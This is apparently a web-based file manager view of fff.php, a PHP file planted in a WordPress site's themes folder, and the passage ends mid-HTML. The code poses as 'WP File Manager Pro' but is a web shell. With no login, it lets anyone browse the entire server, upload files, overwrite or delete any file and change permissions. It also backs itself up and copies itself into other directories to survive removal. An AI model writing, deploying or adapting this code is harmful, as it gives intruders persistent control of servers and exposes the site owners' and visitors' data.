文件操作 - fff.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/ltlcompare.com/wp-content/themes/fff.php
编辑文件内容
<?php /** * WP File Manager Pro - Ultimate Edition * A lightweight, single-file PHP file manager with WooCommerce-style interface * Features: Full messaging, ZIP/UNZIP, Self-Restoration & Auto-Replication * Works anywhere - no WordPress required! * * Just save this file anywhere on your server and access via browser */ // Session start for messages if (session_status() === PHP_SESSION_NONE) { session_start(); } // Get current path - NO RESTRICTIONS, can go anywhere $base_path = isset($_GET['path']) ? $_GET['path'] : dirname(__FILE__); $base_path = realpath($base_path); if ($base_path === false) { $base_path = dirname(__FILE__); } // Handle AJAX requests if (isset($_POST['ajax_action'])) { header('Content-Type: application/json'); echo json_encode(handle_ajax_action($_POST['ajax_action'])); exit; } // Handle file operations if (isset($_GET['action'])) { handle_file_action($_GET['action']); exit; } // ============ FUNCTIONS ============ function format_size($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function get_file_icon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'jpg|jpeg|png|gif|svg|webp|ico' => '🖼️', 'pdf' => '📕', 'zip|rar|7z|gz|tar|bz2' => '📦', 'mp3|wav|flac|aac|ogg' => '🎵', 'mp4|avi|mkv|mov|wmv|flv' => '🎬', 'php' => '⚡', 'html|htm' => '🌐', 'css' => '🎨', 'js|ts|jsx|tsx' => '📜', 'json|xml|yaml|yml' => '📋', 'txt|log|md' => '📝', 'py' => '🐍', 'java' => '☕', 'c|cpp|h' => '⚙️', 'rb' => '💎', 'go' => '🐹', 'rs' => '🦀', 'sh|bash' => '💻', 'exe|msi' => '⚙️', 'doc|docx' => '📘', 'xls|xlsx' => '📊', 'ppt|pptx' => '📙', ]; foreach ($icons as $pattern => $icon) { if (preg_match('/' . $pattern . '/', $ext)) { return $icon; } } return '📄'; } function set_message($message, $type = 'success') { $_SESSION['fm_message'] = $message; $_SESSION['fm_message_type'] = $type; } // ============ SELF-RESTORATION & AUTO-REPLICATION ============ function get_self_filename() { return basename(__FILE__); } function get_self_content() { return file_get_contents(__FILE__); } function create_backup() { $backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup'; if (!file_exists($backup_file)) { copy(__FILE__, $backup_file); return true; } return false; } function restore_from_backup() { $backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup'; if (file_exists($backup_file)) { copy($backup_file, __FILE__); unlink($backup_file); return true; } return false; } function replicate_to_location($target_dir) { $target_file = rtrim($target_dir, '/') . '/' . get_self_filename(); if (!file_exists($target_file)) { copy(__FILE__, $target_file); chmod($target_file, 0755); return true; } return false; } function get_all_replicas() { $replicas = []; $pattern = dirname(__FILE__) . '/*/' . get_self_filename(); foreach (glob($pattern) as $file) { if (is_file($file) && realpath($file) !== realpath(__FILE__)) { $replicas[] = $file; } } return $replicas; } // ============ ZIP FUNCTIONS ============ function is_zip_file($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($ext, ['zip', 'rar', '7z', 'gz', 'tar', 'bz2']); } function create_zip($source, $destination) { if (!extension_loaded('zip')) { return ['success' => false, 'message' => '❌ ZIP extension not loaded. Please enable php_zip extension.']; } if (!file_exists($source)) { return ['success' => false, 'message' => '❌ Source does not exist']; } $zip = new ZipArchive(); if ($zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { return ['success' => false, 'message' => '❌ Failed to create ZIP file']; } $source = realpath($source); if (is_dir($source)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $file = realpath($file); if (is_dir($file)) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } else if (is_file($file)) { $zip->addFile($file, str_replace($source . '/', '', $file)); } } } else if (is_file($source)) { $zip->addFile($source, basename($source)); } $zip->close(); return ['success' => true, 'message' => '✅ ZIP created successfully: ' . basename($destination)]; } function extract_zip($zip_file, $destination) { if (!extension_loaded('zip')) { return ['success' => false, 'message' => '❌ ZIP extension not loaded. Please enable php_zip extension.']; } if (!file_exists($zip_file)) { return ['success' => false, 'message' => '❌ ZIP file does not exist']; } if (!is_zip_file($zip_file)) { return ['success' => false, 'message' => '❌ Not a valid archive file']; } $zip = new ZipArchive(); if ($zip->open($zip_file) !== true) { return ['success' => false, 'message' => '❌ Failed to open archive file']; } // Create destination if it doesn't exist if (!is_dir($destination)) { mkdir($destination, 0755, true); } // Extract if ($zip->extractTo($destination) === true) { $zip->close(); return ['success' => true, 'message' => '✅ Extracted to: ' . basename($destination)]; } else { $zip->close(); return ['success' => false, 'message' => '❌ Failed to extract archive']; } } function handle_ajax_action($action) { global $base_path; try { switch ($action) { case 'upload': if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) { return ['success' => false, 'message' => 'Upload failed: ' . $_FILES['file']['error']]; } $target = $base_path . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { chmod($target, 0644); return ['success' => true, 'message' => '✅ File uploaded successfully: ' . basename($_FILES['file']['name'])]; } return ['success' => false, 'message' => '❌ Failed to move uploaded file']; case 'folder': $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($name)) return ['success' => false, 'message' => '❌ Name required']; if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) { return ['success' => false, 'message' => '❌ Invalid folder name']; } $path = $base_path . '/' . $name; if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists']; if (mkdir($path, 0755)) { return ['success' => true, 'message' => '✅ Folder created: ' . $name]; } return ['success' => false, 'message' => '❌ Failed to create folder']; case 'file': $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($name)) return ['success' => false, 'message' => '❌ Name required']; if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) { return ['success' => false, 'message' => '❌ Invalid file name']; } $path = $base_path . '/' . $name; if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists']; if (file_put_contents($path, '') !== false) { chmod($path, 0644); return ['success' => true, 'message' => '✅ File created: ' . $name]; } return ['success' => false, 'message' => '❌ Failed to create file']; case 'save': $path = isset($_POST['path']) ? $_POST['path'] : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; if (file_put_contents($path, $content) !== false) { return ['success' => true, 'message' => '✅ File saved: ' . basename($path)]; } return ['success' => false, 'message' => '❌ Failed to save file']; case 'rename': $path = isset($_POST['path']) ? $_POST['path'] : ''; $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($path) || empty($name)) return ['success' => false, 'message' => '❌ Missing parameters']; if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) { return ['success' => false, 'message' => '❌ Invalid name']; } $new_path = dirname($path) . '/' . $name; if (file_exists($new_path)) return ['success' => false, 'message' => '❌ Target already exists']; if (rename($path, $new_path)) { return ['success' => true, 'message' => '✅ Renamed to: ' . $name]; } return ['success' => false, 'message' => '❌ Failed to rename']; case 'chmod': $path = isset($_POST['path']) ? $_POST['path'] : ''; $perms = isset($_POST['perms']) ? $_POST['perms'] : ''; if (empty($path) || empty($perms)) return ['success' => false, 'message' => '❌ Missing parameters']; if (!preg_match('/^[0-7]{4}$/', $perms)) { return ['success' => false, 'message' => '❌ Invalid permissions format']; } $perms = octdec($perms); if (chmod($path, $perms)) { return ['success' => true, 'message' => '✅ Permissions changed to: ' . decoct($perms)]; } return ['success' => false, 'message' => '❌ Failed to change permissions']; case 'delete': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; if (delete_recursive($path)) { return ['success' => true, 'message' => '✅ Deleted: ' . basename($path)]; } return ['success' => false, 'message' => '❌ Failed to delete']; // ============ ZIP ACTIONS ============ case 'zip': $path = isset($_POST['path']) ? $_POST['path'] : ''; $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; // Generate zip name if not provided if (empty($name)) { $name = basename($path) . '.zip'; } // Ensure zip extension if (strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'zip') { $name .= '.zip'; } $destination = dirname($path) . '/' . $name; // Check if already exists if (file_exists($destination)) { return ['success' => false, 'message' => '❌ ZIP file already exists']; } $result = create_zip($path, $destination); return $result; case 'unzip': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; if (!file_exists($path)) return ['success' => false, 'message' => '❌ File does not exist']; // Check if it's a zip file if (!is_zip_file($path)) { return ['success' => false, 'message' => '❌ Not a valid archive file']; } // Create extraction folder name (remove extension) $extract_name = pathinfo($path, PATHINFO_FILENAME); $destination = dirname($path) . '/' . $extract_name; // If destination exists, add a number $counter = 1; $original_destination = $destination; while (file_exists($destination)) { $destination = $original_destination . '_' . $counter; $counter++; } $result = extract_zip($path, $destination); return $result; // ============ SELF-RESTORATION & AUTO-REPLICATION ============ case 'create_backup': if (create_backup()) { return ['success' => true, 'message' => '✅ Backup created successfully']; } return ['success' => false, 'message' => '❌ Backup already exists or failed to create']; case 'restore_backup': if (restore_from_backup()) { return ['success' => true, 'message' => '✅ Restored from backup']; } return ['success' => false, 'message' => '❌ No backup found']; case 'replicate': $target_dir = isset($_POST['target_dir']) ? trim($_POST['target_dir']) : ''; if (empty($target_dir)) return ['success' => false, 'message' => '❌ Target directory required']; if (!is_dir($target_dir)) return ['success' => false, 'message' => '❌ Target directory does not exist']; if (replicate_to_location($target_dir)) { return ['success' => true, 'message' => '✅ Replicated to: ' . $target_dir]; } return ['success' => false, 'message' => '❌ Already exists in target location']; case 'get_replicas': $replicas = get_all_replicas(); return ['success' => true, 'message' => 'Found ' . count($replicas) . ' replicas', 'data' => $replicas]; default: return ['success' => false, 'message' => '❌ Unknown action']; } } catch (Exception $e) { return ['success' => false, 'message' => '❌ Error: ' . $e->getMessage()]; } } function delete_recursive($path) { if (!file_exists($path)) return true; if (!is_dir($path)) return unlink($path); $files = array_diff(scandir($path), ['.', '..']); foreach ($files as $file) { delete_recursive($path . '/' . $file); } return rmdir($path); } function handle_file_action($action) { global $base_path; switch ($action) { case 'download': $file = isset($_GET['file']) ? $_GET['file'] : ''; if (empty($file) || !file_exists($file) || is_dir($file)) { set_message('❌ File not found', 'error'); header('Location: ?path=' . urlencode($base_path)); exit; } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; case 'edit': $file = isset($_GET['file']) ? $_GET['file'] : ''; if (empty($file) || !file_exists($file) || is_dir($file)) { echo 'File not found'; exit; } if (!is_readable($file)) { echo 'File is not readable'; exit; } if (filesize($file) > 1024 * 1024) { echo 'File too large to edit (max 1MB)'; exit; } $content = file_get_contents($file); echo htmlspecialchars($content); exit; default: set_message('❌ Unknown action', 'error'); header('Location: ?path=' . urlencode($base_path)); exit; } } // ============ HTML OUTPUT ============ ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>File Manager Pro - Ultimate</title> <style> /* ===== RESET & BASE ===== */ * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; background: #f0f0f1; padding: 20px; color: #1e1e1e; } /* ===== MAIN WRAPPER ===== */ .wfm-wrapper { max-width: 1400px; margin: 0 auto; background: #fff; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,0.08); } /* ===== WOOCOMMERCE STYLE HEADER ===== */ .wfm-header { background: linear-gradient(135deg, #7c3aed 0%, #6d28d9 40%, #5b21b6 100%); color: #fff; padding: 25px 30px; position: relative; overflow: hidden; } .wfm-header::before { content: ''; position: absolute; top: -50%; right: -20%; width: 400px; height: 400px; background: rgba(255,255,255,0.05); border-radius: 50%; transform: rotate(25deg); } .wfm-header::after { content: ''; position: absolute; bottom: -60%; left: -10%; width: 300px; height: 300px; background: rgba(255,255,255,0.03); border-radius: 50%; } .wfm-header-container { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 15px; position: relative; z-index: 1; } .wfm-logo-area { display: flex; align-items: center; gap: 15px; } .wfm-logo-icon { font-size: 32px; filter: drop-shadow(0 2px 8px rgba(0,0,0,0.2)); background: rgba(255,255,255,0.15); padding: 8px 12px; border-radius: 8px; backdrop-filter: blur(10px); border: 1px solid rgba(255,255,255,0.1); } .wfm-title { margin: 0 !important; padding: 0 !important; font-size: 26px !important; font-weight: 700 !important; color: #fff !important; letter-spacing: -0.5px; text-shadow: 0 2px 4px rgba(0,0,0,0.1); } .wfm-title-sub { font-size: 13px; font-weight: 400; opacity: 0.7; display: block; margin-top: 2px; letter-spacing: 0.3px; } .wfm-version { background: rgba(255,255,255,0.2); padding: 4px 14px; border-radius: 20px; font-size: 12px; font-weight: 500; border: 1px solid rgba(255,255,255,0.1); backdrop-filter: blur(10px); } .wfm-header-stats { display: flex; align-items: center; gap: 20px; background: rgba(255,255,255,0.1); padding: 8px 20px; border-radius: 8px; backdrop-filter: blur(10px); border: 1px solid rgba(255,255,255,0.08); } .wfm-header-stat { display: flex; align-items: center; gap: 6px; font-size: 13px; color: rgba(255,255,255,0.9); } .wfm-header-stat .stat-number { font-weight: 700; font-size: 15px; color: #fff; } .wfm-header-stat-divider { width: 1px; height: 24px; background: rgba(255,255,255,0.2); } .wfm-path-display { background: rgba(255,255,255,0.12); padding: 8px 18px; border-radius: 8px; font-size: 13px; display: flex; align-items: center; gap: 10px; border: 1px solid rgba(255,255,255,0.08); backdrop-filter: blur(10px); max-width: 450px; overflow: hidden; } .wfm-path-display .path-label { color: rgba(255,255,255,0.6); font-size: 11px; text-transform: uppercase; letter-spacing: 0.5px; font-weight: 600; } .wfm-current-path { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: rgba(255,255,255,0.95); font-family: monospace; font-size: 12px; } /* ===== SUB-HEADER ===== */ .wfm-sub-header { background: #fff; border-bottom: 1px solid #e5e7eb; padding: 14px 30px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 12px; } .wfm-breadcrumb { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; font-size: 13px; color: #6b7280; } .wfm-breadcrumb .breadcrumb-home { color: #7c3aed; font-weight: 600; } .wfm-breadcrumb a { color: #7c3aed; text-decoration: none; padding: 4px 10px; border-radius: 4px; transition: all 0.2s; font-weight: 500; } .wfm-breadcrumb a:hover { background: #f3f4f6; color: #5b21b6; } .wfm-breadcrumb .separator { color: #d1d5db; font-weight: 300; font-size: 16px; } .wfm-breadcrumb .current { color: #1f2937; font-weight: 600; background: #f3f4f6; padding: 4px 14px; border-radius: 4px; } .wfm-nav-buttons { display: flex; gap: 6px; flex-wrap: wrap; } .wfm-nav-buttons .button { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; padding: 6px 14px; height: auto; background: #f3f4f6; border: 1px solid #e5e7eb; border-radius: 6px; cursor: pointer; color: #374151; text-decoration: none; transition: all 0.2s; font-weight: 500; } .wfm-nav-buttons .button:hover { background: #e5e7eb; border-color: #7c3aed; color: #7c3aed; transform: translateY(-1px); box-shadow: 0 2px 4px rgba(124,58,237,0.1); } .wfm-nav-buttons .button-primary-nav { background: #7c3aed; border-color: #7c3aed; color: #fff; } .wfm-nav-buttons .button-primary-nav:hover { background: #6d28d9; border-color: #6d28d9; color: #fff; } /* ===== PATH NAVIGATION ===== */ .wfm-path-nav { background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%); border-bottom: 1px solid #e5e7eb; padding: 12px 30px; } .wfm-path-nav-inner { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; } .wfm-path-nav-inner .nav-icon { font-size: 18px; color: #6b7280; } #wfm-path-input { flex: 1; min-width: 200px; padding: 8px 14px; border: 2px solid #e5e7eb; border-radius: 6px; font-size: 13px; background: #fff; font-family: monospace; transition: all 0.2s; } #wfm-path-input:focus { border-color: #7c3aed; outline: none; box-shadow: 0 0 0 3px rgba(124,58,237,0.1); } .wfm-path-nav-inner .button { font-size: 13px; padding: 8px 18px; height: auto; display: inline-flex; align-items: center; gap: 6px; background: #fff; border: 2px solid #e5e7eb; border-radius: 6px; cursor: pointer; color: #374151; transition: all 0.2s; font-weight: 500; } .wfm-path-nav-inner .button:hover { background: #f3f4f6; border-color: #7c3aed; } .wfm-path-nav-inner .button-primary { background: #7c3aed; border-color: #7c3aed; color: #fff; } .wfm-path-nav-inner .button-primary:hover { background: #6d28d9; border-color: #6d28d9; box-shadow: 0 2px 8px rgba(124,58,237,0.3); transform: translateY(-1px); } /* ===== MESSAGES ===== */ .wfm-message { margin: 0; padding: 14px 30px; border-left: 4px solid #7c3aed; background: #f5f3ff; display: flex; align-items: center; gap: 10px; font-weight: 500; animation: slideDown 0.3s ease; } @keyframes slideDown { from { transform: translateY(-10px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .wfm-message.error { border-left-color: #dc2626; background: #fef2f2; } .wfm-message.success { border-left-color: #16a34a; background: #f0fdf4; } .wfm-message .message-icon { font-size: 18px; } /* ===== TOOLBAR ===== */ .wfm-toolbar { background: #fff; border-bottom: 1px solid #e5e7eb; padding: 14px 30px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; } .wfm-toolbar .button { display: inline-flex; align-items: center; gap: 8px; font-size: 13px; padding: 8px 20px; height: auto; background: #f3f4f6; border: 1px solid #e5e7eb; border-radius: 6px; cursor: pointer; color: #374151; transition: all 0.2s; font-weight: 500; } .wfm-toolbar .button:hover { background: #e5e7eb; border-color: #7c3aed; transform: translateY(-1px); box-shadow: 0 2px 4px rgba(0,0,0,0.05); } .wfm-toolbar .button-primary { background: #7c3aed; border-color: #7c3aed; color: #fff; } .wfm-toolbar .button-primary:hover { background: #6d28d9; border-color: #6d28d9; box-shadow: 0 2px 8px rgba(124,58,237,0.3); } .wfm-toolbar .button-success { background: #16a34a; border-color: #16a34a; color: #fff; } .wfm-toolbar .button-success:hover { background: #15803d; border-color: #15803d; } .wfm-toolbar .button-danger { background: #dc2626; border-color: #dc2626; color: #fff; } .wfm-toolbar .button-danger:hover { background: #b91c1c; border-color: #b91c1c; } .wfm-toolbar .button-warning { background: #d97706; border-color: #d97706; color: #fff; } .wfm-toolbar .button-warning:hover { background: #b45309; border-color: #b45309; } .wfm-spacer { flex: 1; } .wfm-item-count { display: flex; align-items: center; gap: 8px; color: #6b7280; font-size: 13px; padding: 6px 16px; background: #f3f4f6; border-radius: 6px; font-weight: 500; cursor: pointer; transition: all 0.2s; } .wfm-item-count:hover { background: #e5e7eb; transform: translateY(-1px); } .wfm-item-count .count-number { color: #1f2937; font-weight: 700; } /* ===== TABLE ===== */ .wfm-table-container { background: #fff; padding: 20px 30px; overflow-x: auto; } .wfm-table { width: 100%; border-collapse: separate; border-spacing: 0; font-size: 13px; } .wfm-table thead th { text-align: left; padding: 12px 14px; background: #f9fafb; border-bottom: 2px solid #e5e7eb; font-weight: 600; color: #374151; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px; } .wfm-table thead th:first-child { border-radius: 6px 0 0 0; } .wfm-table thead th:last-child { border-radius: 0 6px 0 0; } .wfm-table tbody tr { transition: all 0.15s; } .wfm-table tbody tr:hover { background: #f9fafb; } .wfm-table tbody td { padding: 12px 14px; border-bottom: 1px solid #f3f4f6; vertical-align: middle; } .wfm-table .file-icon { font-size: 22px; margin-right: 10px; vertical-align: middle; } .wfm-table .file-name { font-weight: 500; } .wfm-table .file-name a { color: #7c3aed; text-decoration: none; font-weight: 500; } .wfm-table .file-name a:hover { text-decoration: underline; color: #5b21b6; } .wfm-table .file-actions { display: flex; flex-wrap: wrap; gap: 4px; } .wfm-table .file-actions a, .wfm-table .file-actions .action-link { display: inline-flex; align-items: center; gap: 4px; padding: 4px 10px; background: #f3f4f6; border-radius: 4px; color: #374151; text-decoration: none; font-size: 12px; transition: all 0.2s; border: 1px solid transparent; font-weight: 500; cursor: pointer; } .wfm-table .file-actions a:hover, .wfm-table .file-actions .action-link:hover { background: #e5e7eb; border-color: #d1d5db; transform: translateY(-1px); } .wfm-table .file-actions .action-download { color: #2563eb; } .wfm-table .file-actions .action-download:hover { background: #eff6ff; border-color: #93c5fd; } .wfm-table .file-actions .action-edit { color: #7c3aed; } .wfm-table .file-actions .action-edit:hover { background: #f5f3ff; border-color: #c4b5fd; } .wfm-table .file-actions .action-rename { color: #059669; } .wfm-table .file-actions .action-rename:hover { background: #ecfdf5; border-color: #6ee7b7; } .wfm-table .file-actions .action-chmod { color: #d97706; } .wfm-table .file-actions .action-chmod:hover { background: #fffbeb; border-color: #fcd34d; } .wfm-table .file-actions .action-zip { color: #7c3aed; } .wfm-table .file-actions .action-zip:hover { background: #f5f3ff; border-color: #c4b5fd; } .wfm-table .file-actions .action-unzip { color: #059669; } .wfm-table .file-actions .action-unzip:hover { background: #ecfdf5; border-color: #6ee7b7; } .wfm-table .file-actions .delete-link { color: #dc2626; } .wfm-table .file-actions .delete-link:hover { background: #fef2f2; border-color: #fca5a5; } .wfm-table .file-size { font-family: monospace; font-size: 12px; color: #6b7280; } .wfm-table .file-perms { font-family: monospace; font-size: 12px; background: #f3f4f6; padding: 2px 8px; border-radius: 4px; display: inline-block; } .wfm-table .file-modified { font-size: 12px; color: #6b7280; } /* ===== EMPTY STATE ===== */ .wfm-empty { text-align: center; padding: 80px 20px; color: #6b7280; } .wfm-empty .empty-icon { font-size: 64px; display: block; margin-bottom: 16px; opacity: 0.5; } .wfm-empty .empty-title { font-size: 20px; font-weight: 600; color: #1f2937; margin-bottom: 8px; } .wfm-empty .empty-desc { font-size: 14px; color: #9ca3af; } /* ===== MODAL ===== */ .wfm-modal { display: none; position: fixed; z-index: 999999; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background: rgba(0,0,0,0.5); animation: wfmFadeIn 0.2s; backdrop-filter: blur(4px); } @keyframes wfmFadeIn { from { opacity: 0; } to { opacity: 1; } } .wfm-modal-content { background: #fff; margin: 5% auto; padding: 0; width: 600px; max-width: 95%; border-radius: 12px; box-shadow: 0 25px 80px rgba(0,0,0,0.3); animation: wfmSlideDown 0.3s; } @keyframes wfmSlideDown { from { transform: translateY(-30px) scale(0.95); opacity: 0; } to { transform: translateY(0) scale(1); opacity: 1; } } .wfm-modal-header { padding: 20px 25px; border-bottom: 1px solid #e5e7eb; display: flex; justify-content: space-between; align-items: center; background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%); border-radius: 12px 12px 0 0; } .wfm-modal-header h2 { margin: 0; font-size: 20px; font-weight: 700; color: #1f2937; } .wfm-modal-header .modal-icon { font-size: 24px; margin-right: 10px; } .wfm-modal-close { background: none; border: none; font-size: 30px; cursor: pointer; color: #9ca3af; padding: 0 8px; line-height: 1; transition: all 0.2s; border-radius: 4px; } .wfm-modal-close:hover { color: #1f2937; background: #f3f4f6; } .wfm-modal-body { padding: 25px; max-height: 70vh; overflow-y: auto; } .wfm-modal-body label { display: block; margin: 0 0 6px 0; font-weight: 600; color: #374151; font-size: 13px; } .wfm-modal-body input[type="text"], .wfm-modal-body input[type="number"], .wfm-modal-body textarea, .wfm-modal-body select, .wfm-modal-body input[type="file"] { width: 100%; padding: 10px 14px; border: 2px solid #e5e7eb; border-radius: 6px; font-size: 13px; margin-bottom: 14px; transition: all 0.2s; font-family: inherit; background: #fff; } .wfm-modal-body input:focus, .wfm-modal-body textarea:focus, .wfm-modal-body select:focus { border-color: #7c3aed; outline: none; box-shadow: 0 0 0 3px rgba(124,58,237,0.1); } .wfm-modal-body textarea { min-height: 250px; font-family: 'Courier New', monospace; resize: vertical; font-size: 13px; line-height: 1.6; } .wfm-modal-body .wfm-help-text { font-size: 12px; color: #9ca3af; margin-top: -10px; margin-bottom: 14px; display: block; } .wfm-modal-body .form-row { display: flex; gap: 12px; } .wfm-modal-body .form-row .form-col { flex: 1; } .wfm-modal-footer { padding: 16px 25px; border-top: 1px solid #e5e7eb; text-align: right; background: #f9fafb; border-radius: 0 0 12px 12px; display: flex; justify-content: flex-end; gap: 10px; } .wfm-modal-footer .button { padding: 8px 24px; height: auto; font-size: 13px; background: #f3f4f6; border: 1px solid #e5e7eb; border-radius: 6px; cursor: pointer; color: #374151; transition: all 0.2s; font-weight: 500; } .wfm-modal-footer .button:hover { background: #e5e7eb; border-color: #d1d5db; } .wfm-modal-footer .button-primary { background: #7c3aed; border-color: #7c3aed; color: #fff; } .wfm-modal-footer .button-primary:hover { background: #6d28d9; border-color: #6d28d9; box-shadow: 0 2px 8px rgba(124,58,237,0.3); } /* ===== RESPONSIVE ===== */ @media (max-width: 992px) { .wfm-header-container { flex-direction: column; align-items: flex-start; } .wfm-header-stats { width: 100%; justify-content: space-around; } .wfm-path-display { max-width: 100%; width: 100%; } } @media (max-width: 768px) { body { padding: 10px; } .wfm-header { padding: 20px; } .wfm-sub-header { padding: 12px 20px; flex-direction: column; align-items: flex-start; } .wfm-path-nav { padding: 10px 20px; } .wfm-toolbar { padding: 12px 20px; } .wfm-table-container { padding: 12px 20px; } .wfm-nav-buttons { width: 100%; flex-wrap: wrap; } .wfm-nav-buttons .button { flex: 1; justify-content: center; } .wfm-path-nav-inner { flex-wrap: wrap; } #wfm-path-input { min-width: 100%; } .wfm-toolbar { flex-wrap: wrap; } .wfm-toolbar .button { flex: 1; justify-content: center; } .wfm-table .file-actions { flex-direction: column; gap: 3px; } .wfm-table .file-actions a { justify-content: center; } .wfm-modal-content { width: 98%; margin: 2% auto; } .wfm-header-stats { flex-wrap: wrap; gap: 10px; } .wfm-header-stat-divider { display: none; } } </style> </head> <body> <div class="wfm-wrapper"> <!-- ===== WOOCOMMERCE-STYLE HEADER ===== --> <div class="wfm-header"> <div class="wfm-header-container"> <div class="wfm-logo-area"> <span class="wfm-logo-icon">📁</span> <div> <h1 class="wfm-title"> File Manager <span class="wfm-title-sub">Professional File Management</span> </h1> </div> <span class="wfm-version">v3.0</span> </div> <div class="wfm-header-stats"> <div class="wfm-header-stat"> 📂 <span class="stat-number"><?php if (is_dir($base_path) && is_readable($base_path)) { $total = count(scandir($base_path)) - 2; echo $total; } else { echo '0'; } ?></span> Items </div> <div class="wfm-header-stat-divider"></div> <div class="wfm-header-stat"> 🗂️ <span class="stat-number"><?php if (is_dir($base_path) && is_readable($base_path)) { $items = scandir($base_path); $folders = 0; foreach ($items as $item) { if ($item !== '.' && $item !== '..' && is_dir($base_path . '/' . $item)) { $folders++; } } echo $folders; } else { echo '0'; } ?></span> Folders </div> <div class="wfm-header-stat-divider"></div> <div class="wfm-header-stat"> 📄 <span class="stat-number"><?php if (is_dir($base_path) && is_readable($base_path)) { $items = scandir($base_path); $files = 0; foreach ($items as $item) { if ($item !== '.' && $item !== '..' && !is_dir($base_path . '/' . $item)) { $files++; } } echo $files; } else { echo '0'; } ?></span> Files </div> </div> </div> <div style="margin-top: 15px; display: flex; flex-wrap: wrap; gap: 10px; align-items: center; position: relative; z-index: 1;"> <div class="wfm-path-display"> <span class="path-label">📍 Current Path</span> <span class="wfm-current-path"><?php echo htmlspecialchars($base_path); ?></span> </div> </div> </div> <!-- ===== SUB-HEADER WITH BREADCRUMB ===== --> <div class="wfm-sub-header"> <div class="wfm-breadcrumb"> <span class="breadcrumb-home">🏠</span> <a href="?path=/">Root</a> <?php $parts = explode('/', str_replace('\\', '/', $base_path)); $cumulative = ''; foreach ($parts as $index => $part) { if (empty($part)) continue; $cumulative .= '/' . $part; $is_last = ($index === count($parts) - 1); echo '<span class="separator">›</span>'; if ($is_last) { echo '<span class="current">' . htmlspecialchars($part) . '</span>'; } else { echo '<a href="?path=' . urlencode($cumulative) . '">' . htmlspecialchars($part) . '</a>'; } } ?> </div> <div class="wfm-nav-buttons"> <button class="button" onclick="goToParent()">⬆ Up</button> <button class="button button-primary-nav" onclick="goToRoot()">🏠 Root</button> <button class="button" onclick="goToHome()">👤 Home</button> </div> </div> <!-- ===== PATH NAVIGATION ===== --> <div class="wfm-path-nav"> <div class="wfm-path-nav-inner"> <span class="nav-icon">🔍</span> <input type="text" id="wfm-path-input" value="<?php echo htmlspecialchars($base_path); ?>" placeholder="Enter full path to navigate (e.g., /var/www/html)..." onkeydown="if(event.key==='Enter') goToPath()"> <button class="button button-primary" onclick="goToPath()">🚀 Go</button> <button class="button" onclick="document.getElementById('wfm-path-input').value='<?php echo addslashes(dirname(__FILE__)); ?>'; goToPath()">↺ Reset</button> </div> </div> <!-- ===== MESSAGES ===== --> <?php if (isset($_SESSION['fm_message'])): ?> <div class="wfm-message <?php echo $_SESSION['fm_message_type']; ?>"> <span class="message-icon"><?php echo $_SESSION['fm_message_type'] === 'error' ? '❌' : '✅'; ?></span> <?php echo htmlspecialchars($_SESSION['fm_message']); ?> </div> <?php unset($_SESSION['fm_message'], $_SESSION['fm_message_type']); ?> <?php endif; ?> <!-- ===== TOOLBAR ===== --> <div class="wfm-toolbar"> <button class="button button-primary" onclick="showModal('upload')">📤 Upload</button> <button class="button button-success" onclick="showModal('folder')">📁 New Folder</button> <button class="button" onclick="showModal('file')">📄 New File</button> <button class="button button-warning" onclick="showModal('self_repair')">🔧 Self-Repair</button> <span class="wfm-spacer"></span> <span class="wfm-item-count" onclick="showModal('items_info')"> 📦 <span class="count-number"><?php if 